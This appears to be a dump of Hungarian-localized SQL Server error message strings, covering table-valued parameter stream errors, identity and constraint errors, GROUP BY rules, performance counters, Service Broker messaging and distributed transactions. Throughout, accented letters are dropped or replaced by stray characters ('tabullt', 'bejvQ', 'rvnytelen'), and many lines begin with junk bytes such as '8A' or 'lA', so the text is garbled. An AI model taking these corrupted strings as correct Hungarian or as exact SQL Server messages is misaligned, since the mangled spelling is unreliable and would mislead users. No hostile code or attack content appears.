8A bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. %1!s! tbla rtkq paramter ( %2!s! ), sor: %3!s!, oszlop: %4!s!: Nem nulla hosszsg adatbzisnv van megadva a kvetkezQ adattpushoz (felhasznl ltal definilt tblatpus): 0x%5!s!. Adatbzisnv megadsa egy tbla rtkq paramterhez nem engedlyezett, csak a smanv s a tpusnv megadsa rvnyes.

(A bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. %1!s! tbla rtkq paramter ( %2!s! ), sor: %3!s!, oszlop: %4!s!: rvnytelen sma van megadva a kvetkezQ adattpushoz (felhasznl ltal definilt tblatpus): 0x%5!s!.

(A bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. %1!s! tbla rtkq paramter ( %2!s! ), sor: %3!s!, oszlop: %4!s!: rvnytelen nv van megadva a kvetkezQ adattpushoz (felhasznl ltal definilt tblatpus): 0x%5!s!.

4A bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. %1!s! tbla rtkq paramter ( %2!s! ), sor: %3!s!, oszlop: %4!s!: rvnytelen oszlopszm van megadva a kvetkezQ adattpushoz (felhasznl ltal definilt tblatpus): 0x%5!s!.

4A bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. %1!s! tbla rtkq paramter ( %2!s! ), sor: %3!s!, oszlop: %4!s!: rvnytelen oszlopnv van megadva a kvetkezQ adattpushoz (felhasznl ltal definilt tblatpus): 0x%5!s!.

TA bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. %1!s! tbla rtkq paramter ( %2!s! ), sor: %3!s!, oszlop: %4!s!: A kvetkezQ adattpus (felhasznl ltal definilt tblatpus) idQblyegzQ-oszlopnak kell alaprtelmezettnek lennie: 0x%5!s!.

8A bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. %1!s! tbla rtkq paramter ( %2!s! ), sor: %3!s!, oszlop: %4!s!: rvnytelen oszlopjelzQ van megadva a kvetkezQ adattpushoz (felhasznl ltal definilt tblatpus): 0x%5!s!.

lA bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. %1!s! tbla rtkq paramter ( %2!s! ), sor: %3!s!, oszlop: %4!s!: rvnytelen rendezsi s egyedisgi metaadatok vannak megadva a kvetkezQ adattpushoz (felhasznl ltal definilt tblatpus): 0x%5!s!.

\A bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. %1!s! tbla rtkq paramter ( %2!s! ), sor: %3!s!, oszlop: %4!s!: rvnytelen oszloprendezsi metaadatok vannak megadva a kvetkezQ adattpushoz (felhasznl ltal definilt tblatpus): 0x%5!s!.

`A bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. %1!s! tbla rtkq paramter ( %2!s! ), sor: %3!s!, oszlop: %4!s!: Tl sok vlaszthat metaadat lexiklis eleme van megadva a kvetkezQ adattpushoz (felhasznl ltal definilt tblatpus): 0x%5!s!.

Tbla rtkq paramter: %1!s! ( %2!s! ), sor: %3!s!, oszlop: %4!s!: 0x%5!s! adattpus (felhasznl ltal definilt tblatpus). A megadott oszlop szmtott vagy alaprtelmezett, s rendezs vagy egyedisg van belltva hozz. Rendezs s egyedisg csak olyan oszlopoknl llthat be, amelyek gyfl ltal megadott adatokat tartalmaznak.

A bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. Egy paramteres karakterlncra vonatkoz, %1!s! tbla rtkq paramterhez nincs definilva tblatpus.

A bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. A paramteres karakterlncra vonatkoz, tbla rtkq  %1!s!  paramterhez nincs definilva tblatpus.

A bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. %1!s! tbla rtkq paramter ( %2!s! ), sor: %3!s!, oszlop: %4!s!: A kvetkezQ adattpus (felhasznl ltal definilt tblatpus) null, s nincs belltva az alaprtelmezett rtkre: 0x%5!s!. El kell kldeni egy null tbla rtkq paramtert alaprtelmezett paramterknt.

A tbla rtkq  %1!s!  paramter adatai nem felelnek meg a paramter tblatpusnak.

A tbla rtkq %1!s! paramter adatai nem felelnek meg a paramter tblatpusnak.

lA bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi protokolljnak adatfolyama korltlan hosszsg CLR-beli tpust kld. A(z) %1!s! paramter ( %2!s! ) %3!s! tpusknt van definilva. Az als szintq gyfelek nem tmogatjk ezt a tpust. A nagymretq CLR-beli tpus szerializlt adatait kldje varbinary(max) tpusknt, vagy frisstse az gyfl illesztQprogramjt olyan verzira, amely tmogatja a korltlan CLR-beli tpusokat.

%1!s! paramter ([%2!s!].[%3!s!].[%4!s!]): A CLR-beli tpus nem ltezik, vagy nincs engedlye az elrshez.

$A(z)  %1!s!  tbla azonost oszlophoz csak akkor adhat meg explicit rtk, ha oszloprtket hasznl, s az IDENTITY_INSERT belltsa ON.

hNem frissthetQ a(z)  %1!s!  azonost oszlop.

A(z)  %1!s!  nem felhasznli tbla. A SET mqvelet nem hajthat vgre.

A(z)  %1!s!  tbla nem rendelkezik azonost tulajdonsggal. A SET mqvelet nem hajthat vgre.

Az IDENTITY_INSERT mr ON bellts a(z)  %1!s!.%2!s!.%3!s!  tblnl. A SET mqvelet nem hajthat vgre a(z)  %4!s!  tblnl.

XA SELECT INTO utastssal nem vehetQ fel azonost oszlop a(z)  %1!s!  tblba. A tbla mr tartalmazza a(z)  %2!s!  oszlopot, amely rkli az azonost tulajdonsgot.

Tbb azonost oszlop felvtelnek ksrlete trtnt a(z)  %1!s!  tblba a SELECT INTO utasts hasznlatval.

Nem adhat meg tbb PRIMARY KEY korltozs a(z)  %1!s!  tblhoz.

Nem definilhat PRIMARY KEY korltozs a(z)  %1!s!  nullzhat oszlopban.

Nem adhat meg tbb frtztt index a(z)  %1!s!  tbla korltozsaihoz.

Az XML adattpus  %1!s!  metdus hasznlata helytelen. A rendszer llapotmdost metdust vr ebben a krnyezetben.

Nem sikerlt a(z) %1!s! adattpus talaktsa a(z) %2!s! tpusra.

Aritmetikai tlcsorduls trtnt a(z) %1!s! talaktsakor  %2!s!  adattpusra.

Az argumentum %1!s! adattpusa rvnytelen a(z) %3!s! fggvny %2!s! argumentumnl.

Az operandus %1!s! adattpusa rvnytelen a(z) %2!s! opertornl.

A(z)  %1!s!.%2!s!  oszlop rvnytelen a vlasztsi listn, mert nem szerepel sszestQ fggvnyben, s nincs GROUP BY zradk.

A(z)  %1!s!.%2!s!  oszlop rvnytelen a HAVING zradkban, mert nem szerepel sszestQ fggvnyben, s nincs GROUP BY zradk.

A(z)  %1!s!.%2!s!  oszlop rvnytelen a vlasztsi listn, mert nem szerepel sszestQ fggvnyben vagy a GROUP BY zradkban.

A(z)  %1!s!.%2!s!  oszlop rvnytelen a HAVING zradkban, mert nem szerepel sszestQ fggvnyben vagy a GROUP BY zradkban.

Egy kapcsold kifejezs rvnytelen, mert nem szerepel GROUP BY zradkban.

Tbb oszlop van megadva egy klsQ hivatkozst tartalmaz sszestett kifejezsben. Ha egy sszestett kifejezs klsQ hivatkozst tartalmaz, akkor csak ez a klsQ hivatkozs lehet az egyetlen hivatkozott oszlop a kifejezsben.

A klsQ hivatkozst tartalmaz sszestett kifejezsnek a vlasztsi listn kell szerepelnie, illetve annak a lekrdezsnek a HAVING zradkban, amelynek FROM zradkban tallhat az sszestett oszlopot tartalmaz tbla.

A(z)  %1!s!.%2!s!  oszlop rvnytelen az ORDER BY zradkban, mert nem szerepel sszestQ fggvnyben, s nincs GROUP BY zradk.

A(z)  %1!s!.%2!s!  oszlop rvnytelen az ORDER BY zradkban, mert nem szerepel sszestQ fggvnyben vagy a GROUP BY zradkban.

Az j lemezmretnek nagyobbnak kell lennie, mint %1!s!. Hasznlja a DBCC SHRINKDB utastst.

A CASE specifikciban legalbb az egyik eredmnykifejezsnek a NULL llandtl eltrQ kifejezsnek kell lennie.

\A rendszer nullval val osztst szlelt.

A tblaszintq korltozs nem ad meg oszloplistt. Tbla:  %1!s! .

IsmtlQdQ oszlopok vannak megadva a(z) %1!s! korltozskulcs-listn. Tbla:  %2!s! .

Az XML adattpus  %1!s!  metdus hasznlata helytelen. A rendszer nem llapotmdost metdust vr ebben a krnyezetben.

16-nl tbb oszlop van megadva az idegen kulcsok oszlopnak listjban. Tbla:  %1!s! .

Az idegen kulcs hivatkoz oszlopainak szma klnbzik a hivatkozott oszlopok szmtl. Tbla:  %1!s! .

Tbb kulcs van megadva az oszlopszintq %1!s! korltozsban. Tbla:  %2!s! .

A(z)  %2!s!  oszlop %1!s! oszlopkorltozsa msik oszlopra hivatkozik. Tbla:  %3!s! .

dA(z)  %1!s!  paramter tbbszr van megadva.

A(z) %1!s! eljrshoz vagy fggvnyhez tl sok argumentum van megadva.

xA(z) %1!s! paramter nem a(z) %2!s! eljrs paramtere.

A(z) %1!s! eljrshoz nincsenek megadva paramterek s argumentumok.

Nem sikerlt IDENTITY attribtumot ltrehozni a nullzhat  %1!s!  oszlophoz. Tbla:  %2!s! .

A(z)  %2!s!  oszlophoz tbb %1!s! korltozs van megadva. Tbla:  %3!s! .

Az OLE-automatizlsi objektumok hasznlata nem tmogatott a rszszlas zemmdban.

Tbb NULL korltozs van megadva a(z)  %1!s!  oszlophoz. Tbla:  %2!s! .

PRIMARY KEY s UNIQUE korltozs is meg van adva a(z)  %1!s!  oszlophoz. Tbla:  %2!s! . Csak egy korltozs adhat meg.

pA karakteres vagy binris adatok csonkolva lesznek.

DA(z)  %1!s!  nem egyrtelmq.

xA(z) %1!s! oszlophoz ( %2!s! ) nincs megadva oszlopnv.

A(z)  %1!s!  oszlop tbbszr van megadva a kvetkezQhz:  %2!s! .

A(z)  %1!s!  az oszloplistn megadottnl tbb oszlopot tartalmaz.

A(z)  %1!s!  az oszloplistn megadottnl kevesebb oszlopot tartalmaz.

GROUPING vagy GROUPING_ID fggvnyt csak akkor lehet megadni, ha szerepel a GROUP BY zradk is.

A(z) %2!s! fggvny %1!s! argumentuma nem felel meg a GROUP BY zradkban szereplQ egyetlen kifejezsnek sem.

A formlis  %1!s!  paramter nem OUTPUT paramterknt van definilva, de a tnyleges paramter t lett adva a krt kimenetnek.

\Az INSERT EXEC utasts nem gyazhat be.

Az alrendelt parancs %1!s! rtke rvnytelen. Az rvnyes tartomny a kvetkezQ: %2!s! %3!s!.

A(z)  %1!s!  korltozsnv nem engedlyezett. A korltozsnevek nem kezdQdhetnek kettQs kereszttel (#).

A(z)  %1!s!  oszlop tpusa tkzik az UNPIVOT listn megadott egyb oszlopok tpusval.

tEbben a krnyezetben nem lehet ltrehozni, eldobni, engedlyezni vagy letiltani tbb  %1!s!  nevq korltozst, oszlopot vagy esemnyindtt. Az ismtlQdQ nevek nem engedlyezettek.

Nem sikerlt az talakts karakterlncrl egyedi azonostra.

Nincs elegendQ eredmnyterlet az egyedi azonostrtk karakteresre trtnQ talaktshoz.

pA(z)  %2!s!  objektum  %1!s!  mutatja rvnytelen.

Az XML adattpus  %2!s!  metdus %1!s! argumentumnak szveges karakterlncnak kell lennie.

Az XML adattpus  %1!s!  metdus hvshoz hasznlt szintaxis rvnytelen volt.

Nem tallhat a(z) %1!s! kezelQvel rendelkezQ smazrols.

Az jraszinkronizlsi eljrs a(z)  %1!s!  kulcs rtkt vrja, de az nincs megadva.

A(z) %1!s! zradkban csak akkor hasznlhat oszlop, ha sszestQ fggvnyben vagy a GROUP BY zradkban szerepel.

A paramteres  %1!s!  lekrdezs a(z)  %2!s!  paramtert vrja, de az nincs megadva.

Nem tallhat a(z) %1!s! kezelQvel rendelkezQ elQksztett utasts.

\Nem sikerlt az utastsok elQksztse.

(A(z)  %1!s!  objektum szvege hinyzik a rendszerkatalgusbl. Az objektum hasznlathoz elQszr el kell dobni, s jbl ltre kell hozni azt.

A szmtott oszlopokban csak UNIQUE vagy PRIMARY KEY korltozsok hozhatk ltre, mg a CHECK, a FOREIGN KEY s a NOT NULL korltozsok azt ignylik, hogy a szmtott oszlopok megQrzttek legyenek.

Hiba a binris ellenQrzQsszegben. A binris ellenQrzQsszeg bemenetben nincsenek sszehasonlthat oszlopok.

 *    kibontsi hiba: A rendszer nem sszehasonlthat oszlopot tallt egy alapul szolgl tblban vagy nzetben.

A(z)  %1!s!  fggvny csak felhasznli s rendszertblkban hasznlhat.

Az elQksztett %1!s! kezelQt jelenleg egy msik parancs hasznlja (hiballapot: %2!s!).

A(z)  %2!s!  szerelvny  %1!s!  szerelvnytpushoz mr tartozik egy SQL-tpus. Az adott szerelvnytpushoz csak egy SQL-tpus rendelhetQ hozz. A CREATE TYPE utasts vgrehajtsa nem fog sikerlni.

Nem rendelkezik futtatsi engedllyel a kvetkezQhz:  %1!s! .

A repliklsi szqrQ eljrsa nem fordthat le a szqrni kvnt tbla megadsa nlkl.

A repliklsi szqrQ eljrsai csak SELECT, GOTO, IF, WHILE, RETURN s DECLARE utastst tartalmazhatnak.

A repliklsi szqrQ eljrsaihoz nem tartozhatnak paramterek.

Nem lehet vgrehajtani egy FOR REPLICATION jellsq eljrst.

<A(z)  %1!s!  nem hozhat ltre a kvetkezQben:  %2!s! . INSERT, UPDATE s DELETE esemnyindtk csak felhasznli tblkban s nzetekben hozhatk ltre.

pIsmtlQdQ oszlop van megadva ROWGUIDCOL oszlopknt.

A(z)  %1!s!  objektum nem ltezik, vagy nem rvnyes ehhez a mqvelethez.

Az EXECUTE <folyamatnv> utastsban a folyamatnv csak char, varchar, nchar vagy nvarchar tpus karakterlnc vagy vltoz lehet.

,Nem lehet ltrehozni (vagy megnyitni) az elnevezett  %1!s!  fjl-hozzrendelsi objektumot. Az SQL Server teljestmnyszmlli le vannak tiltva.

LA(z)  %1!s!  fjl-hozzrendelsi objektum nzett nem lehet hozzrendelni az SQL Server folyamatcmterhez. Az SQL Server teljestmnyszmlli le vannak tiltva.

(Nem lehet ltrehozni (vagy megnyitni) az elnevezett  %1!s!  mutexet (klcsns kizrst). Az SQL Server teljestmnyszmlli le vannak tiltva.

Nem sikerlt hozzrendelni az SQL Server teljestmnyobjektumaihoz, illetve teljestmnyszmllihoz tartoz indexeket az objektumok, illetve szmllk nevhez. Az SQL Server teljestmnyszmlli le vannak tiltva.

Az SQL Server  %1!s!  teljestmnyobjektuma nem tallhat a belltsjegyzkben. Az SQL Server teljestmnyszmlli le vannak tiltva.

Az SQL Server  %1!s!  teljestmnyszmllja nem tallhat a belltsjegyzkben. Az SQL Server teljestmnyszmlli le vannak tiltva.

Nem lehet megnyitni a  HKLM\%1!s!  belltskulcsot. Az SQL Server teljestmnyszmlli le vannak tiltva.

Nem lehet lekrdezni a  HKLM\%2!s!  belltskulcshoz rendelt  %1!s!  rtket. Az SQL Server teljestmnyszmlli le vannak tiltva.

4Hiba trtnt a virtulis memria lefoglalsakor a teljestmnyszmllk inicializlsa kzben. Az SQL Server teljestmnyszmlli le vannak tiltva.

PA Windows  %1!s!  kernelobjektuma mr ltezik. Az objektum tulajdonosa nem az SQL Server szolgltatsfikja. Az SQL Server teljestmnyszmlli le vannak tiltva.

Nem sikerlt feldolgozni egy nyomkvets-vezrlsi krelmet, mert az esemnyek bejegyzsekor rvnytelen paramterek voltak megadva. EllenQrizze, hogy a paramterek rtke az rvnyes tartomnyba esik-e.

Nem tallhat a krt nyomkvetsi sablon. Azonost = %1!s!.

0Nem sikerlt elindtani a Windows esemny-nyomkvetst. %1!s!. A Windows esemny-nyomkvets engedlyezshez indtsa jra az SQL Server rendszert.

A Windows esemny-nyomkvetse nem tudott elkldeni egy esemnyt. ElQfordulhat, hogy az azonos hibakd kldsi hibk nem kerlnek be a jelentsbe a tovbbiakban. Hibaazonost: %1!s!, esemnyosztly azonostja: %2!s!, ok: %3!s!.

A kiszolglszintq esemnyrtestsek nem kzbesthetQk. A Service Broker sszetevQ le van tiltva az msdb adatbzisban, vagy nem sikerlt az msdb elindtsa. Ez ms adatbzisokban is hatssal lehet az esemnyrtestsekre. lltsa online llapotba az msdb adatbzist, vagy engedlyezze a Service Broker sszetevQt. 

A Windows esemny-nyomkvetse (ETW) nem tudott elkldeni egy esemnyt. Elfogyott a kiszolgl memrija. ElQfordulhat, hogy az azonos kldsi hibk nem kerlnek be a jelentsbe a tovbbiakban.

A Windows esemny-nyomkvetse (ETW) nem tudott elkldeni egy esemnyt. Ezt az okozhatja, hogy kevs az erQforrs. ElQfordulhat, hogy az azonos kldsi hibk nem kerlnek be a jelentsbe a tovbbiakban.

A Windows esemny-nyomkvetse (ETW) nem tudott elkldeni egy esemnyt. Az esemny zenetnek mrete meghaladja a hatrrtket. ElQfordulhat, hogy az azonos kldsi hibk nem kerlnek be a jelentsbe a tovbbiakban.

|Az SQL-nyomkvets nem tudott elkldeni egy esemnyrtestst. Elfogyott a kiszolgl memrija. ElQfordulhat, hogy az azonos kldsi hibk nem kerlnek be a jelentsbe a tovbbiakban.

Az SQL-nyomkvets nem tudott elkldeni egy esemnyrtestst. Ezt az okozhatja, hogy kevs az erQforrs. ElQfordulhat, hogy az azonos kldsi hibk nem kerlnek be a jelentsbe a tovbbiakban.

Nem lehetett elkldeni az zenetet, mert a clknt megadott, %1!s! azonostj felhasznlnak (adatbzis-azonost: %2!s!) nincs engedlye arra, hogy zeneteket fogadjon a(z)  %3!s!  vrakozsi sorbl.

A(z)  %1!s!  adattpusnak a(z)  %2!s!  utastsban a(z) %3!s! tpusnak kell lennie. A(z) %4!s! adattpus nem engedlyezett.

A(z)  %1!s!  zenettpus tbbszr van megadva. Tvoltsa el az ismtlQdQ zenettpust.

A(z)  %1!s!  szolgltatsi szerzQds tbbszr van megadva. Tvoltsa el az ismtlQdQ szolgltatsi szerzQdst.

Hiba trtnt a Service Broker sszetevQ vrakozsi sornak visszagrgetsi kezelQjben a vrakozsi sor letiltsra tett ksrlet kzben. Adatbzis azonostja: %1!s!, vrakozsi sor azonostja: %2!s!, hiba: %3!s!, llapot: %4!s!.

Az zenetvlts lettartama nem lehet NULL rtkq. Adjon meg rvnyes lettartamrtket a(z) %1!s! %2!s! tartomnybl.

Trvnytelen fejlcmezQket tartalmaz zenet rkezett. Ez hlzati problmra utalhat, vagy arra, hogy egy msik alkalmazs csatlakozott a Service Broker-vgponthoz.

A clknt megadott  %1!s!  szolgltats nem tmogatja a(z)  %2!s!  szerzQdst.

pNem kldhetQ el az zenet, mert a clknt megadott szolgltats nem tmogatja a szolgltatsi szerzQdst. Clknt megadott szolgltats:  %1!s! , szolgltatsi szerzQds:  %2!s! .

A beszlgetsi idQztQ nem llthat be a beszlgets lettartamnak lejrta utni idQpontra.

Az zenetvlts lettartamnak %1!s! rtke kvl esik az engedlyezett %2!s! %3!s! tartomnyon. Adjon meg rvnyes lettartamrtket.

tA(z)  %1!s!  szolgltatsnv szintaxisa rvnytelen.

A(z)  %1!s!  tvitelszervezQ-pldny szintaxisa helytelen. A megadott tvitelszervezQ-pldny tl hossz, a maximlis mret 256 bjt.

A(z)  %1!s!  beszlgetsicsoport-azonost rvnytelen ebben a krnyezetben. Adjon meg ms beszlgetsicsoport-azonostt.

TAz aktivlt feladat megszakadt, mert a meghvott  %1!s!  trolt eljrs nem hajtotta vgre a COMMIT vagy a ROLLBACK mqveletet egy vagy tbb elindtott tranzakciban.

A szolgltatsi szerzQds neve NULL rtkq. Adjon meg egy nevet a szolgltatsi szerzQdsnek.

A beszlgetskezelQ hinyzik. Adjon meg egy beszlgetskezelQt.

Mind a hibakdot, mind a lerst meg kell adni az END CONVERSATION WITH ERROR utastshoz. Egyik rtk sem lehet NULL.

A beszlgetscsoport hinyzik. Adjon meg egy beszlgetscsoportot.

A szolgltatsnv hinyzik. Adjon meg egy szolgltatsnevet.

lA hibalers hinyzik. Adjon meg egy hibalerst.

\Nem tallhat a(z)  %1!s!  szolgltats.

A hibakd s a hibalers hinyzik. Adja meg a hibakdot s a hibalerst is.

pNem tallhat a(z)  %1!s!  szolgltatsi szerzQds.

`Nem tallhat az  %1!s!  beszlgetskezelQ.

A beszlgets vgpontja nem az END CONVERSATION utastsnak megfelelQ llapotban van. A vgpont jelenlegi llapota:  %1!s! .

XNem tallhat a(z)  %1!s!  zenettpus.

A beszlgets vgpontja nem a SEND utastsnak megfelelQ llapotban van. A vgpont jelenlegi llapota:  %1!s! .

Az zenettrzs nem felel meg a belltott rvnyestsnek.

A(z)  %1!s!  zenettpus nem rsze a szolgltatsi szerzQdsnek.

0Nem lehet elkldeni az zenetet, mert a(z)  %1!s!  zenettpus SENT BY TARGET jellsq a szerzQdsben, azonban ez a szolgltats egy kezdemnyezQ.

Az zenettrzs nem lehet NULL rtkq. Nulla hosszsg UNICODE vagy binris karakterlnc engedlyezett.

$Nem lehet elkldeni az zenetet, mert a(z)  %1!s!  zenettpus SENT BY INTITIATOR jellsq a szerzQdsben, azonban ez a szolgltats egy cl.

Nem tallhat a(z) %2!s! pozcinl lvQ  %1!s!  beszlgetskezelQ.

dNem tallhat az  %1!s!  beszlgetscsoport.

 Az rkezett zenetet egy clknt megadott szolgltats kldte, azonban a(z)  %1!s!  zenettpus SENT BY INITIATOR jellsq a szerzQdsben.

A beszlgets vgpontja nem a MOVE CONVERSATION utastsnak megfelelQ llapotban van. A vgpont jelenlegi llapota:  %1!s! .

A clknt megadott  %1!s!  beszlgetscsoport rvnytelen.

A beszlgetscsoport ltezik, azonban nincs vrakozsi sor. Lehet, hogy megsrlt az adatbzis. Futtassa a DBCC CHECKDB utastst.

A(z) %1!s! pozcinl lvQ beszlgetskezelQ hinyzik. Adjon meg egy beszlgetskezelQt.

Az adatbzisban nincs aktv Service Broker sszetevQ. Vltson t olyan adatbzis-krnyezetre, amely tartalmaz Service Broker sszetevQt.

A(z)  %1!s!  azonostj, a(z) %2!s! ltal kezdemnyezett beszlgets egy hinyz  %3!s!  beszlgetscsoportra hivatkozik. Futtassa a DBCC CHECKDB utastst az adatbzis elemzshez s kijavtshoz.

A szolgltats vrakozsi sornak struktrja inkonzisztens. Lehet, hogy megsrlt az adatbzis. Futtassa a DBCC CHECKDB utastst.

A(z)  %1!s!  beszlgetskezelQ rvnytelen  %2!s!  beszlgetsazonostra hivatkozik; kezdemnyezQ: %3!s!.

Nem egyesthetQk adatbeolvassi mqveletekkel az olyan RECEIVE utastsok, amelyek rtket rendelnek a vltozkhoz.

A RECEIVE lekpezsben lvQ hozzrendelsek nem hasznlhatk az INTO zradkban.

A(z) %2!s! pozcinl lvQ  %1!s!  beszlgetskezelQ tbbszr jelenik meg.

Az rkezett zenetet a beszlgets kezdemnyezQje kldte, de a(z)  %1!s!  zenettpus SENT BY TARGET jellsq a szerzQdsben.

A beszlgets vgpontja nem a BEGIN CONVERSATION TIMER utastsnak megfelelQ llapotban van. A vgpont jelenlegi llapota:  %1!s! .

Az zenet mrete, belertve a fejlcadatokat is, meghaladja az engedlyezett %1!s! maximlis rtket.

 %1!s!  azonostj beszlgetsi vgpont s is_initiator: A(z) %2!s! az rvnytelen  %3!s!  beszlgetskezelQre hivatkozik.

A rendszer belsQ hibt szlelt a Service Broker sszetevQnl. Lehet, hogy megsrlt az adatbzis. Futtassa a DBCC CHECKDB utastst.

A tvoli beszlgetsi vgpont olyan llapotban van, amelyben nincs lehetQsg tovbbi zenetvltsra, vagy a vgpont el lett dobva.

XNem sikerlt olvasni az zenettrzset egy zenet trendezse kzben. Ez az zenet egy msik problma tnete. Az SQL Server hibanapljban s a Windows esemnynapljban keresse meg a tovbbi zeneteket, s oldja meg a hibt kivlt problmt. Ha a problma tartsan fennll, valsznqleg megsrlt az adatbzis. Az adatbzis kijavtshoz lltsa vissza azt egy tiszta biztonsgi msolatbl. Ha nincs ilyen biztonsgi msolat, futtassa a DBCC CHECKDB utastst. Ne feledje, hogy a DBCC CHECKDB utasts adatokat is trlhet az adatbzis kijavtshoz.

dAz alapul szolgl szolgltats megvltozott.

PA tvoli szolgltats megvltozott.

TA tvoli szolgltats el lett dobva.

Nem sikerlt egy SNI-hvs a Service Broker sszetevQ, illetve az adatbzis-tkrzs tviteli mqvelete kzben. SNI-hiba:  %1!s! .

A tvoli szolgltats rvnytelen fejlcmezQket tartalmaz zenetet kldtt.

 %1!s!  azonostj beszlgetsi vgpont s is_initiator: A(z) %2!s! el lett dobva.

<BelsQ hiba fordult elQ a Service Broker sszetevQben (hiba = 0x%1!s!). Ez a hiba az SQL Server rendszerrel kapcsolatos slyos problmt jelez. Az SQL Server hibanapljban s a Windows esemnynapliban keresse meg az esetleges hardverproblmra utal adatokat. Lehet, hogy megsrlt az adatbzis. Az adatbzis kijavtshoz lltsa vissza azt egy tiszta biztonsgi msolatbl. Ha nincs ilyen biztonsgi msolat, futtassa a DBCC CHECKDB utastst. Ne feledje, hogy a DBCC CHECKDB utasts adatokat is trlhet az adatbzis kijavtshoz.

pTeszt hasznlja a hibzsi pontok szimulcijban.

hA tvoli szolgltatsi szerzQds el lett dobva.

xAz zenetvlts meghaladta a megadott LIFETIME rtket.

Nem tallhat a tvoli  %1!s!  szolgltats, mert nem ltezik.

A(z)  %1!s!  szolgltatsi szerzQdsnek rendelkeznie kell legalbb egy SENT BY INITIATOR vagy ANY zenettel.

A(z)  %1!s!  szolgltats megvltoztatsnak mdostania kell a vrakozsi sort vagy legalbb egy szerzQdst.

tNincs engedlye a(z)  %1!s!  szolgltats elrsre.

A beszlgetst mr nyugtzta a szolgltats msik pldnya.

A tvoli szolgltats  %1!s!  tpus zenetet kldtt, amely nem rsze a helyi szerzQdsnek.

A tvoli szolgltats  %1!s!  tpus zenettrzset kldtt, amely nem egyezik az zenettrzs kdolsi formtumval. Ez a kvetkezQ adatokkal rendelkezQ zenetben fordult elQ: beszlgets azonostja:  %2!s! , kezdemnyezQ: %3!s!, zenet sorszma: %4!s!.

lAz MSDTC nem rhetQ el a(z)  %1!s!  kiszolgln.

Ismeretlen  0x%1!s!  lexiklis elem rkezett a Microsoft Distributed Transaction Coordinator (MS DTC) sszetevQtQl.

dA tranzakci importlsi puffere rvnytelen.

A tranzakci nem mdosthat %1!s! llapotrl %2!s! llapotra. A krt mdosts rvnytelen.

Nem sikerlt a Microsoft Distributed Transaction Coordinator (MS DTC) tranzakcijnak importlsa: %1!s!.

Nem sikerlt a bejegyzsi mqvelet: %1!s!. Az SQL Server nem tudta bejegyezni a Microsoft Distributed Transaction Coordinator (MS DTC) a tranzakci erQforrs-kezelQjeknt. A tranzakcit az gyfl vagy az erQforrs-kezelQ lltotta le.

Ismeretlen 0x%1!s! elklntsi szintet krtek a Microsoft Distributed Transaction Coordinator (MS DTC) sszetevQtQl.

A Microsoft Distributed Transaction Coordinator (MS DTC) tranzakci-vglegestsi nyugtzsa sikertelen: %1!s!.

A Microsoft Distributed Transaction Coordinator (MS DTC) tranzakcibefejezsi nyugtzsa sikertelen: %1!s!.

A Microsoft Distributed Transaction Coordinator (MS DTC) PREPARE nyugtzsa sikertelen: %1!s!.

A Microsoft Distributed Transaction Coordinator (MS DTC) globlis llapota rvnytelen.

Nem sikerlt lekrni a Microsoft Distributed Transaction Coordinator (MS DTC) PREPARE adatait: %1!s!.

A Microsoft Distributed Transaction Coordinator (MS DTC) BEGIN TRANSACTION utastsa sikertelen: %1!s!.

A Microsoft Distributed Transaction Coordinator (MS DTC) aktulis tranzakcijt tvoli gyflnek kell vglegestenie.

A Microsoft Distributed Transaction Coordinator (MS DTC) belsQ tranzakcijnak vglegestse sikertelen: %1!s!.

Ez a felbresztsi llapot rvnytelen. Alv llapot: %1!s!; felbresztsi llapot: %2!s!.

A Microsoft Distributed Transaction Coordinator (MS DTC) lelltotta ezt a tranzakcit.

A PREPARE TRAN utasts nem engedlyezett az MSDTC-tranzakcikban.

Az aktulis tranzakcit nem lehetett exportlni a tvoli szolgltatba. A tranzakci vissza lett grgetve.

Az elosztott tranzakci befejezQdtt. Jegyezze be ezt a munkamenetet j tranzakciba vagy a NULL tranzakciba.

(Nem lehet tvoli mqkdsre vltani, amikor a munkamenet olyan elosztott tranzakciban van bejegyezve, amely aktv mentsi ponttal rendelkezik.

pNem sikerlt ltrehozni egy elosztott tranzakci exportlsi lexiklis elemt. Hiba: %1!s!. Forduljon a Microsoft Distributed Transaction Coordinator (MS DTC) rendszergazdjhoz.

A kerneltranzakci-kezelQ (KTM) tranzakcija sikertelen: %1!s!.

@Nem lehet kibontani a kerneltranzakci-kezelQ (KTM) tranzakcikezelQjt a Microsoft Distributed Transaction Coordinator (MS DTC) tranzakcijbl: 0x%1!s!.

Nem sikerlt a Windows kerneltranzakci-kezelQjnek ltrehozsa: 0x%1!s!.

A Windows kerneltranzakci-kezelQje nem tudta ltrehozni a bejegyzst: 0x%1!s!.

Hiba trtnt az erQforrs-kezelQ rtestsnek kerneltranzakci-kezelQbQl (KTM) val olvassa kzben: %1!s!.

Hiba trtnt a kerneltranzakci-kezelQ (KTM) kommunikcijra val vrakozs kzben: %1!s!.

A(z) %1!s! adatbzis kerneltranzakci-kezelQje nem tudott elindulni: %2!s!.

Nem sikerlt egy mentsipont-mqvelet a Windows tranzakcis fjlrendszerben: 0x%1!s!.

Csak egyszeres DB frisstsek engedlyezettek a FILESTREAM mqveletekkel.

A kerneltranzakci-kezelQ (KTM) megszaktotta ezt a tranzakcit.

A FILESTREAM 0x%1!s! nem tmogatja ezt az elklntsi szintet.

